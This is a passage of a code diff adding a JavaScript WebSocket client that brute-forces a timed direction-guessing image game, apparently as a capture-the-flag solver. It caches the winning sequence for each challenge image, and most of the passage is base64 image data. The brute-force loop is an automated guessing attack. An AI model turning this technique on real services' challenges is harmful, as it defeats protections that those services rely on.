'Correct'; + document.getElementById('input-res').className = 'input-result correct'; + document.getElementById('dynamic-image').className = 'game-image correct'; + + if (guess) { + if (i >= l.length) { + l.push(directions[di]); + di = 0; + } + i += 1; + if (l !== null) { + bruteforce(); + } + } + } else if (typeof message.data === "string" && message.data.trim() === 'Times Up!') { + console.log("MESSAGE", message.data); + console.log('Times Up!'); + document.getElementById('input-res').textContent = 'Times Up! Gotta be faster than that Diver!'; + document.getElementById('input-res').className = 'input-result timesup'; + document.getElementById('dynamic-image').className = 'game-image timesup'; + } else if (typeof message.data === "string" && message.data.trim() !== 'true' && message.data.trim() !== 'false' && message.data.trim() !== 'Times Up!') { + document.getElementById('score').textContent = message.data; + } else if (typeof message.data === "object") { + const imgElement = document.getElementById('dynamic-image'); + const base64img = await convertBlobToBase64(message.data); + imgElement.src = 'data:image/webp;base64,' + base64img; + + if (!(cur in d)) { + d[cur] = [...l]; + } + cur = imgElement.src; + + l = null; + i = 0; + di = 0; + + setTimeout(() => { + l = []; + bruteforce(); + }, t); + } + }; + + ws.onclose = () => { + document.getElementById('status').textContent = 'Disconnected'; + document.getElementById('status').className = 'status disconnected'; + console.log('Disconnected'); + // Attempt to reconnect in 2 seconds + setTimeout(connect, 2000); + }; +} + +function sendMessage(command) { + ws.send(JSON.stringify({command})); +} + +connect(); + +function convertBlobToBase64(blob) { + return new Promise((resolve, reject) => { + const reader = new FileReader(); + reader.onloadend = () => resolve(reader.result.split(',')[1]); // Extract Base64 from data URL + reader.onerror = reject; + reader.readAsDataURL(blob); // Read as Data URL + }); +} + +const directions = ['left', 'up', 'right', 'down']; +const t = 10; // Timeout used to avoid race conditions +let l = []; +let i = 0; +let di = 0; +let guess = true; // Indicates if a new guess should be made. Used to avoid race conditions +let con = true; // Used to stop the brute force + +function bruteforce() { + // Setting con = false in the console allows us to stop the brute force at any time + if (con) { + if (cur in d) { + l = null; + guess = false; + for (const x of d[cur]) { + sendMessage(x); + } + return; + } + + guess = true; + if (i < l.length) { + sendMessage(l[i]); + } else { + sendMessage(directions[di]); + } + } +} + +let d = { + "null": [], + "data:image/webp;base64,UklGRpwDAABXRUJQVlA4TJADAAAv/8A/APfBKJIkRVV9zOf2fN+XxgbbSJKc3Mz/oyEB8jcJCZMYtGAUSZKirtrdY7Jz/i3dD+c/iGwjAAUqAsMfDQAAGlUpzukQZaD8QSz1rNKvtxP1TLfj3qgCAFFRfdURCAQCIwBRAkFUmyv2qv077d8M36zmyz5t2lz1VadJxTosoppUCAQBAEGU4F4O2QqeuNaTgqK17W3bBiITxu52mr0026JtdqJSWbj/+4IJavz80a3/+7+I/k9AOPv/7P8zHD9/mUjqxSbzfKk4Fa4X+DQ4NOtT4NCty+fQrkvn0K/L5tCwS+bQscvl0LJL5dCzy+TQtEvkUPDdAkR5HIV39fLpdgGiNI7C25/0Ql4VIMriKORn6sXMrgrgkjgKaWaqsTsFcDkchXdMPcYCuBSOQpqCjAVwGRyFNBUZC+ASOAppSrI7BfDTcxTeMTUZC0SlKcooEU1VRnloyrI70twxdRlloSnMKAlNZUY5aEqzO1LcMbXt9fMQbSSHaMeoOhuy0UP2v26+ffR7RcwAZC1JLBd9AsCFhZbk/vJv7ttvtdC0WbfeMRWT3h3m2itGV19LdvMt0p634IGuvYq/au7e4n06+Nun9w4E3MSNH/f3eQw1sVy8SkdsXB4CwHf72//UPXvXpxPkOz/A94pyMp30FvP9/KCjBy+ZhCQf6Kpl55vXSdzXdG+poz/6JDZdR0n0vy/I+P/WQvFQKB4Kxf8tJ+c/t0LxUCgeCsVn/539908zds0sm3nHIXozy2becYjezLKZd5ycKBu6tsmcXSp0NpmzS4XOJnN2aWoihOu7NqP3JfQ2o/cl9Daj91MTIR1W161S8eq6VSpeXbdKExMhHy4zSyMtszTSMksTEzEFfcYxzDiGGScmYhLwMMDTaA/wNNoDPE1LxEQgIO0xIO0xIE1LxGQ8xz6eYx/PMS0R0yGiRBGVF1F5EUr7WowIkedbubYcgBQOqSkVQ6EQDsFfSOSh+LMIEbL30jDoeyELg8YvN3JsLaj81oX1MmztwnWWP5HAgvLfnJqHCtyeUh/qcH4y/SJU44vTeB5qstsdXx/qsvX17rj6RajMpmX3/Jieh0p9dyxvQ70++3AMu6ehZi9/Oty6C1V76+Lyw2F2Xcu6yefb/b17Fip5vi8PFd3v4+dQ14t+zMevUFnAL2VPQ41374fMQ5W37paZO+ts1rB7nEBvm1mdnf1/9v//uQc=": [ + "down", + "left", + "down", + "down", + "up", + "left" + ], + "data:image/webp;base64,UklGRsIYAABXRUJQVlA4TLUYAAAv/8A/AD/lOJIkR6nqFWh44QR//DdK67sDJxxEkqRIVb149+Tj4/2Lw3EjSZKjVPUKNCY2Nj7//5WG2fknmKSptmOACAGogEENQAFKoAKBFCBdIJJIog2poFPV3qlUKtVQH7V3OlhSQImg4fsv3caSQpYEIAGiFBQCBSiAwrctnz9uxl4MlHlCQNCAAKSlFIgERTREMFTpSAEaXCoLf5AQDA1QSLzbUgaGjsdPr/ZzfeP0v9AtVRJtDCpVEiqVqo1BpQ+qJFTr614SGm10tTdwNtTS59Py3JmtqfYmiaRJAEr0/yS296Pd4wi0OLZA8z2BoOsTQ3VtYL43EoGSSJREEiAIkBZV7QENSNFGp0ga0Hx3SYD6bECuKwLE8XWnOjxvlKOgbQPk4F81aYiICcBJSbZBeeXikDu6JNva27aBuz338JtpU15ESS8krPQOKD1Dn/NprQR+0FxAhM9/RP8nALO026otW9kXPYJuSkTsW6N267wEvIDtTNy15M7G5UgEufL6GMiTjjEXTla/kX9E/yfAtyRJqm3bttUXMzNPptZh0WTGWnvJzLKY15r8PNe/MDN9aKmlTlqt98fl5hbR/wnwW9u2atu2bTlwmPmouA8zM9w71wb/zel9aaN1OacSI/o/AWHn/53//yv9eUxVxPPFly7bdV/AHEre+6v9pV/8+vz+7/7Ob//m2JdTpSBKTSvBCgoBg3i5kgpVs2u6+vGjfD4Z0vL5xdmuzrGiYghgwGfP/Rrx7X/we79x0BmlqgHwWKwYtXizUrKNdtHm0vYo04hS5R7WzBDTGCGiAfPcrwXw62uoVREFmMRWwWNqUjXhcnHVcspI1JM8zxFRyfPF05fbvjoHINEqAbUk9fmzrwH88srQHSHBSLAoEoiBGoTYuSWdTO52tp0neTsZKcjtgpeXNYGBKgkoiMY9Jvj8q4NNL6uM2trZJKgQxUSNUNmWbldOWbfaUk8ymkFbXV1p11A7EQS0jaJNquC7vyoeLtuaGVaxFIKtR2ptq6IiLgu1crDtQV6NalawvLp42NZQUDqTgEmTQoBiAvHdXw3cCEksKqgSbiWEOttVd0q4LqNzPcjbMStJSbcLtjFTm8RFoKqBAFrESOInvxrebuwyIEZSwNaAEBSPXJRu7WInxINMI/tWrj60OmEEQ5BWoSAkiFFRfP8P3gdOVwRQBYm0iUCTqO46SzusOq5a9yDPo2ZFIXm+eEPHUp3GtCGmAm2jKQnJgfhV8HxkaakSKYEUNBaiq25wuOXa6VV7jttkFFLB7YKxmJqASFNpkGosiq1RIH33fTwfCyGIGJFAJY1K5kYZNOiuw/Qco6alCOrq42soShGnShUpIALUpoUIb7qLd7fLghFCimqNNIrUqmm03FWZHuR5MipZsz5fPFxhzCVoIChABVSrKaFAEsNdsIiIikVjjiKGTsqEEOvtHuTzaaSggnx+weZ1DZwRWo0JQqIgBrRCK6U+u4t9qQVMhdoEAmiaMqiU7lquu+4xxiTJWhJ3XG3XHAmhtCZKsLSKsW0NNVZ4dhfZFxEoKEgoMdi066WsrhJD58vD639enidjk0KVni/etV1Wh4AgszYRodEoBkAVATF3saDSUBWLigfJamTdYG0sHoC/v9zmEKJKSLcLrpcFY5pUtHhEQqtoDBo1ogI/9wT+4xZzjWgoxEYwButp2t1mh6u5u5v68pBLc4gUKkSuNtdAmEbBm8Q9CkYDYgUFKvArT+5dKihRgmSvCmLMWi+uoxR9cYj0p3POq+mCKO2eL55e5sqICYpGFMREAQFTW4gRaXlxD2uqCWBQkdZEldYrd0K1XL64SM/LbQ5FkkKW2wXbYriXGTUNbTgWS4gEhAqKSvDFPc/XEBRBmEcQOzS6TnMTnWv72vCD/vbhnNMsFlWqSK4+PIfLxFCJBgxCNYIG29wAQYMffAL/cYPnazLMjmhQsB6zzopq6SThS8MPuq8fzvnxiZIkgpZXF2+YY6WIUtU0xKAKae5gFdHxJ0/ufPfSiVZouCnJSmxyc9PYWV8ZHtPdcc65LYyUqKzl7QVjlYkBE2oj0CR3MmsnsWn3suvFHSyZigkSiOIbuRKbxM7U10Z3/z6ZalMoUQpXHx8uplYNilEA1LqidupKdK3y4g5cTiKiggnRyq0rmTLhZl8Z8uRe5/zYmNFFaCv1fPJw5bIGKHs7ARQJoVnXqJZKdaVvu+Phug3nUowGRVp3I7SVspy+MkROR53zl3MTKkGl5bMTrmxrDlE0JAkEZFkp+2HN+3Ep8M4zNtcAEclBONWcaqRzVtNXxmLXOVMFsSRJKmebl1UmEIYgElWbizM6WbPISdzuwEU6aAvGqil1i7zecNfGl4VcSD2cH5xJ65KLSP7s5GFzH0vUiUawhq1r262r29xExSherne8y6UTiAWhhdROa3Oh6Pzkq0JkMUvnr6uZREQrm/7mhO26hriLTgFEbaq2zQ6DZUqC8stnr4yR5VE6n0yGVFmybSt3vFxjn3oQjJHkdl6kVmxx4q6DgL/8ioFc6dIHY1apRCrRZT578nBdMGCyU45iQZeu+57b4lSBKnm1QGQ5IehXmymUglKkyN+dsK2x4zRKqBZIbmTmjGWLlQ0R7WdeJdBZC9KnTZIKgiqRzNmH1mwgjGgRImpX7nCbco7KuoEA29NXCdYH6fSTaWSbkoilKn725A1j7aI4OQocLtFcYqJzjFSIl7w64IuhSxets5IERVEl/u0Ja6jMoAomHlNlE7NKRQnKbjZ9VcBT1lMPuhxzvyhtVZKMZx9f+xBKJ0JqtK6t2+Zi3US6m1Skmz68KtD4Nkg/mqWFhIIk0fzpycPm9TAhxCDhlU0aC9qZ2xymgvTTT/jP/3r8kC3roIOfF1VL2sq2mL84Ybs4x9pLYooiOjMrlkOl2q2hHNUXrwKItEJabZUqUSpLJDnekzX2YmWKMdw6Z1Z1V7IVVQI5UHnCtzx+tN5CutomaW9DlSqi+bOTd22XrtGJKtBQhePM5Hz/DpVCAXnx5NHHN1MK0o/tGkrCIkTR+LcnXA/Hzoggi/KSEa11RgQDBhIfPbykeQzST86kSFFQYung2XZZA8EZEVrVNEZt7m65uIoR0Kg+e+xe0o6gVUUhpJZUS1Q/e/KwDfe61ElMsTvmaLelg7tWGqhWI/jI4Vvbwz9/mxRRKttK2P3tCdtwAe4TSipZzfX2upkSJIwSBcLzRw2vaU89aHV+9vH38q3f8nDv+x/44m+Npiplojn7yHAuCCbibt6kGSvRItkKWAEUfMzwhI0vwh1+UrNE1OhnT96wOsoMgkJ7FqzqkloouSqktUbkrY8ZW/sd/OInY5bSRv2bE8aauxECobpEy2pVdunNHC2gANZPPl741PRieOTu3Z/c7+GcD1/GvE5MTM4+tmBmxBhB6IfTtHNXrRVJI6SmBuERw0su08M5L2OWtPKGZx9f4+YUDbFbK10Vci1ZqngTFCXPHy0u8/ec8yufNEmQGJN/OVtzH0KoFkyXq1pOo8h1XcKCQKVCHymkZRwP57tfxlSu1MQvn7xhLBGqTlFsham5xF1zCdVABIzi44RnXKZzvuUvZiGiffKjJx8ac6EispOGcrV2WXUnXiZSECVB7bsfJy7zt53zy3OERCRR//G7T66LcQMEnbuU1qXS9KZbiwlgtIiYxwjflvH3Tw/nhz+d2yIbNV84ebjMoSuQXU2TIJuu0ExalUhRGZuffx4MXOTfezgfvoylooiY+N3fcWu7ruHcsTE3Uatluagu1XIs5XV5XX/xPAOX+f6c88szLUQpY/7x7HIdy10BxZt3vqXbjXXpeqUWadeGWfU8eDTn8KLp/dM5X/x0qkhqk8TPPrn9zuu2ryH1ULV+W62OlGthdxXFSIoSzzMzWv7ew/nOlzFFKamICafb1TGjS46B+MOyudKOU4xqGcVxSvB7n8Hzlt8757xMwzZrdn9/x0vHmiiRHYlJ3E63fG82xC2tmVpe/+sjQGr4Yw/nFz7tnqwl+rmTh8v2cma4u9IYSlt1yGtULarN7m5jTc3wn58B7f/gnA9f5mhJoQj1R08+MdaMYGAPNJWacpl1W2e1rQ7J5OVaxQfinPMyZpGIdPkvT05Xh1SkMqkFGtWlLXdp6ywXROl7aX/8CUTb7z+d80ufjrmGKBTJl0/eMDoXGiMYofF1Kd1N6mYxbbukNVTH7QefQDL9w9PD+egvmlXWsBH90ZMPjV2d6kI5isutV1Q6c5ZdRdHWjdqqDwC3pqdzzssc0BZFwX/87pNt7R3qxBQ9xBvNnazGIXYGaXC9rO58ArT+ztM5v/jJNFQSkUr8wsnTbU1gRBCTHYVgShKVOrWrXe5kmWOdT2Bt+dunh/NDL3Mo22xTyHd/x63tOlwKM9GGGODWpYI6mzLZFi7FZdja/vj53lmezvmOv6jmGlQtkn+6Z5/D1SBWECSMdtHp6q421hmtpJnv7QePh2T4PQ/nZY6KUvaF+By3H66sMQOyo4miklwS3XWnlJIqjSrrylXPx/rgnJ//tFlKsk32T04v120sPaDOPQZMKhrOcJSSNxstq9MMjzfU/uHhfPAyR4WUKqWlr5y9vF7WHBIMGDUoLX64OidpK6ar6ZhmcU7Y46Uawjn/PmbWiGhLvD55uF62MVegBk1FxNoc26iVqc3MpdzJ7VRp93io3Uy+b0oqKS3W8njysTV2ilNpiYaaoNupo5K5crbGmXUzXGhbv/t0LOeu6TeblTWRlNT7czqmie66ElVSaHG1OykjO/O+Uqq7Vt1c1l88XKxAxZ+dFa1SpIqfu3hDx1Isk7SJUUByDcVKzd25zW6L2gjStvXnD5dLN5XHmSoRirI8XnxozWGEICYk7AYNd6tZsdlasQjRrbVLFv/ybEiF3EP5g69OhigqO73/4GJbw71lWgFFJciWmppTtgkdq8SmNnMb6uFY7Kr9zJgs2xDFT188XNeYGPZYESFaRczSMtett6Td9XpGoXLzbLEwGr79g8kIUkTWD85uu67jsHUiiURA1ZmzHLm6yjiXiq5bSUtPlyf3kOVrY65l15KvXl0ylkxAiAREgsaI2H6YzWuuOLloIq+nPRo2ky7z61myLtt4ffbv2pwLyoiaNhYIFA4ylUz3puNcGZ02NOjZ6O6PG06zSIhCncvL5ph1RYAoploTqN2Nm1CWKtV1tbhuUdc93ZruG4TGL4/tUtJ67rgyXNapBSIgGN2lXFu3U9bKbrtQZlO4mu7Z3tE3UOvryaAgVXp18c7t4pqDgLBr2tJIPE7RMteuyEUFY0Jcq92TIdNHNT8uBWVNjxcf38cSnYQYUQWNkSqUEt3iNEUrc7tSXM6j0cfedr4xDduKyjcfLteYYY+pKoEApMZcXToam6tg7azVmKVjrXi0yAzN+HOzpEirn7t449wXjAhqbCqiiNKt3NnluOWwbZc2ulnpNN3DQXM+NlVZQx4vPrKYMKAEMSpIjUE52KXd1kiOpNfZotxS92T/3szzwVfHoqB4/8HFNpwLsksMNaIiSkuV05uskXXMrugWNdycJ5v7g58ZU4pQfvri4TLWVAAxew20mKosOjVXtyu4me6W1kmGmst9Ht/+wRyUVKoPzu7KHAtqFaqmlNQGPVNspSyXK+bS0DQsC5/JV8ckSHl/tV33uSDNSGhUalWj5lJ213lTRYlaUq4mvf1Aznk9h8q+V2f/cNnmSgeKMRohVUBRO5azlYuYUrehUYOF9YmcOSBVOpeX6zaWykShQKpCmojbwczENqZ0IppT1g7tQ/nyHJVUnavt4qh2LqMIYqEIBMsubN3QOs1yl9bpdddcy+0jeT0HIfXq4kubjiVTIjmktEJUyNVV21rK4bS4Q3vRK6v86CN5nJasjxfv1rMV6ryzUeSdzbZ3tSplfVcThd7NqJJ6Z5NQ3uFU6er9GjqL9RgUJEQUkZK45ZZKp8op3Gc0lpJ7fkRdci6g7TQpoVEyumvVyaSszuv6jOZoQ/csnSao9EZFNBHUvajdbnc2uqlYW+U+JkH3/OhKBrEYsZEgFRTT1bG6roW0JnNi7FMy2uCuAVSCqKZQVGIkTbZLnTHFZXZ7OZ/RaJairs5wCTBVoxG0rYabJF2saKK10ksf00yp++hoOxsXEUJQY6LYLeNSR1wuaLLM9hlNA5G7GDPLytESihZrpScWy3ktlFtuZukjenOX2z3fP8cyAVUEgoA3fxjkTk6RDMLL+ITejhlF5M0dsObYUZOQ1hiKmMrcdTaNK8VuKc2tfUC3aWOJ3t7DGhanCqBUlSbIKYmbsN0qa7YufT63MdcQJW/uYbhEYK+3wZvfTqgoZSVa7VKcj+c217FEqXp7zw+umaFRiAYwxDSHSTY7xNhFNOvTuU1GEKTC7Q4YM66jsZJqUA/OxoROzlzL1Nan82aOIlGlst7uYbivolSgqsWWU4ru2zpkV4szOz6bN3MUWZAs5e09jDVjVAg7xtzK0auW7ZjuEkWfzZsx0arFkpLbPd8/1nGi4aayd6Fq48p1oUvNVfpkbtNIlW1EJfS3dzDHoaBSDTbdJQsXZljLmah8MLe5WYuiQpH82ztWmQVGRUGN7UpXkroga3auc/W53EZTokKQVlv/7o6hHmZEEdXSVl53dVSqKxp8LqMpVS5TJFEx/3NWhlOkBKzQTG1FJzukVS0VfS5z2EaRUKkI49moi9bZgKgm7qS2WoNLRQux7XMZUyqRNUEqrWddhxkxKFK1jutKl9uyK0ndSj6bQkoilUqSe4arCoiAavm2LVcLQmzNOaz7cBLJnQVtJTmba2iNVvF0UaWJuUgjRdLnMo1QUkiRUsrkv09WyxwW0aIIq1vcmZ3xsjPUhd0HM6KklKQU0uL/3DEmAQs23CYiE6VJXaWS9cEYlZKiiJTWJHcMwcrBQ0xjd4eiGSbFXXXmcxnNktiglLAxf3LyemofbdWCSjKvOW1KtlGkvej/vtaoTSSkCoVK8nqTUoSCqELK+OevO6IUZB8q1K+81qCSJaiSUJWkrzdFyr6kSth95bWmlKKuCiVbe/LeORag7hVQQbSy5sxak+RozvspN8v+8GOYQ0QpEUKVindl7OqKhWCbuBlytZypbPdm0bkiLaf6n89hOyqRoqwL5p6xL9qDSFLDtVqt6tQqV9da83bRXduQ/t//fg4j0SooVSQZP3/yvrEmERslJZFzwRGa992wpS6K1k6r/W//70P47/1sqPuCmngsUTmT7eosm+3OREXHdsfqsvnvz+unVyh0GEpVbuuUVjZut1m0uQ633DndnYwffFw/pS6nyG4DLebiJlvb1IyprjokN9EazfHHH9ccdWlLGm8i222dWYxONy51VlmXus0VL/fHH9bPjeYQDIiIUZE5qVJutWapqFNd7Zjd1E99Wt+Rk6RR2ro4a9nV0tLSbrZbV7VzJaY5H9bdd/f/l1FdsLhsCml5nXOTdptFG9Td3NL+8/P55V/xG795Dn/y/3/It++GZFW3Se0monJvMtVdtMtNK2t1LP/134/2Yg2/9UPWoYr0Vu5OZztrpzupa6OTLJW6G92LjqLrQuuaykpr1dCfP9iL3WWhb1udt0s3w7nTxjmqcxyhJjVO2K2xTXHlwrFO1dlJs2vW3Z8/1jvMbtx9d9ZalegmUqg5S9VdpTSXijqpFbGImnReu9TmltU1rx37q6f6dDx+xw+7i9zZmulOZy1WsSlJOxinSsXEda1edhkxd7e00U5uvXXxUCbL2LrMltNSctbFRFEvtAZNq3KXFY7NbTYujGynLhVqlDHdeKQsE2pbR6ExJJNVdhNytN2ulzpOae00btdOzdaxWjMlK+Fm17Sa2h7oxXRF7ArnXtQ7bmcJVzRdB+feVFt1VTBFUe1WV7d1LSaUBuEsa/c4L5Y6MblmNZe7Lik5rdMuxdUxqivEIWvL7STRppyONHXRWk63uizVLX//MM90CeKe3s7ULb1OtZFbqmvSjbpObHamkoxWaW7SNkrryiFzXduOFvHHzzK61AriWmPFi20j061ad1fN2bp2tc3kLmE6YTnSKq6NTRHVNVrHkTv1x08yXBbBUmhsrmG023atsw6Hbjc5WtNqzbWr0uWWqksa1WqpoTBbKlxJ+avniFlNhMrVoBU63CUqdqsrV0nIrS7ddZ1yrM3IWlxdKIWu8pI4xkWW/MxTXBYW0NlkeZvTyOVtgmvXGprqqlsimWolF7KadlkWyrS1bius1l24KquHeHk12aurGBxOZcuOie4cOWWzyzQodqo7cQ1BLclhqNvR3VKatXXnWue4JnqEh+u2MipQabGjjWSxtKs3s3UkMhvBTlFro8lEV0U2rttJm5oyrpFm1ZL88QM8bC9dgxgVguSHFJdoF9a5VZiZq851d2xoTXctHZNJb0KmDu2qVna36aK01u7u5gdf3//7f+f/nTQBAA==": [ + "down", + "up", + "right", + "down", + "right" + ], + "data:image/webp;base64,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": [ + "up", + "right", + "down", + "right" + ], + "data:image/webp;base64,UklGRswBAABXRUJQVlA4TL8BAAAv/8A/AI+goI0k5fCZRbyC928MbSiKJDXieoML1GEbD2dSaiNJbfCQMRRFqv4TxSrCzn8AQEH0EQGic9P09vlzErZu45diKVJaNVAyOGBiISKICBAEsI2bCBZTqIjW/f+9dXc44iYR/Z8ATP9P/084dg2y+6JhzktxFPQFHAPhLEdAeMv6CHdZHeEvayMcZmWEx6yLcJlVET6zJsJpVkQY/JoA6yGSr768vyTAaojky7svvUcCrIVIRu++SIoEWAmRDEnWaEmAdRDJRfYoEmAVRDJkkCIB1kAkQxYpEmAFRDJkkpYE+HhEcpFNikSpIaMUFYWsUtQTMktLNYvsUtQSMkxRScgyRR0h07RUsci2q/a9roN9r+serdOeDu9pmqcf6R+v6//t0j981z1W499Q7ea3azef/pvAe/zpvx9WuPnFDY7ndPGCGM/z6eIEMaCn59PFB2JEN14HQ/iBdRsJ4QiwjYMwBesoCFvwNgbCGGAbAOEN1vIId7ButREfPMKftR2shvBna6UR9ry143u9BMKetd3A11q29rFbt/axW9uVPxzndvcfjXP74J3bB+/cPjo1T//9gJr+n/7/Kx8A": [ + "down", + "left", + "down", + "up", + "up", + "down" + ], + "data:image/webp;base64,UklGRsQFAABXRUJQVlA4TLcFAAAv/8A/AJcEN5JkWVFVzzxO/81CxQNk1JuBXSfcRrbtJvdceSmmJvpPaMB7F0nAf89xJEmOUtVz+vy36TxAGABfvpqZ/zogAgBKSgogjFH78AfoBaASpiogUAuDQKCqSpowZSJ1maotRgDA0CoL0WgVBQkCoqlaqQCiAAyNCnHwgxJASQsgAgAMkRCJRHHE0fVA68PfYhRHOUBdD8oBEsUhUgD9LyIRRaUBYAAG/IyjEXNRAUiUqESRLO2ZRcmionNUMVpl0THalk2XhQECzcyfKFie8QezZvU3DWb4e1Yv07W6h+u7rgerGcURx/8ZR1XlOO1E583JbX56l5/r82GyPX8fz49O2wMLSFxON7fXlYLitk+K22YCUpiZmVFGlckQOrmpVDaEWanaC0c+lxn1L1uzd7eyd8ve30xE/yeA5vw/5/85PrbY/9+3Zu26MPz9t+CA78O6sHaNP6374ItWhpDgS5VEM5eKD4nmLH5TKI60LBwR+IskLSul6C3Dam3wlGcti595SdJKPQkOSKXiIaIpJSKAAxBJChXvaKr5SFEoDURGzLTpGU01/lEKWJ5ueQESjLTpFZGaJmRo1l5MNPKISE0rlA/ERCN/UNOI8kJkot7wnUlE+SEyEU+oqOEQbMCQgYofJAZDsANDBuIFFeU/gi0InIoPJNyXG+yRL7nEA4aVR4bZAZwG9/uee25X4L53vt0tHnaB092ud5F7blvgLrpek9tv236u6XrKfg3b8DWjjnee+9k+4c673QVuv337ueB2CQf7wIkfNDuh+XcunbH/O820wg0iUw6ZCleB23M/2PcDB8dPmG/sC4z4gr5pW1BfeIlLbBPuJdcDpxW7RHk4/09cYpdwP7vfKU4rNony+92vmHC62Z7NykvR/Qpi8JU9YlAsuN9ySTgVW0R5KS53v2WFooFW7BA1LBaWuR+AcwY6SYXlItmJLC/QZMvwHPliYqCTxcLyPJYXipMtw4T8UQx0qlhAdgXIVMswIY+smKi+XcxOghpXfAKRkSoIWL5MChxElhMQtcxBfhmZqYIKQJETABRpSpBvVlKoToWiiYSpVtoK/FPS5C3w0bdsAnlq0xaQv16wI8Brm/mBvPd5PgFefPbzrILAl1etfiekC5BV5M0rVq4CIZrkEBFWIazwJ56Dt///rzn//2dt18CgiAxAZJDd4juHB43PIG5fh6mIeM3rsZVeg3HvG/S+WkPkr70uC8r9foMukX17D4aAA9fSHDm2F5CeQN48Gqe9vJ78ejROfzlNOU6rXlCtx5aOEjROrx5QskgVWb7ielqPO35g246DKffu6wnO0CXSn29Z45laXUBEGiISz9baIf2qXVl321drtJ+1RjtEYjQyty+e7a8OduYt5OhcM/DfNxrGs8r4YEdW6yE0MneuQerM6gw0WjM+4z6nq6JZv9spo2TaJZeMLoTbLjKjthufN23pkvnzKG5/66zIoIgcIGyq1kPwo3mgF5Q5ROalqnVXy6NQBVQBFYgKRAWq7URVxT1KHzdE4vbXKPWLtg3Q2GdlPFSUQ8BoLCSx0FgogyEA4hRUqtZDw+RAOph0HT125Hour2zbsVOoT4BfAyAC9IJ6QRABdMCg7BJ1mDekRunXm7xIQBfXMG5Xppx12vg8ArDxYFjkCmkbQhm+anLOYLSsXcYDbcgiN8yolsGu2PAG3v/t9/sxrgKUdtu00dz6nYgyvMzcPKc38PTJ4/tXtumnmmq789VDtU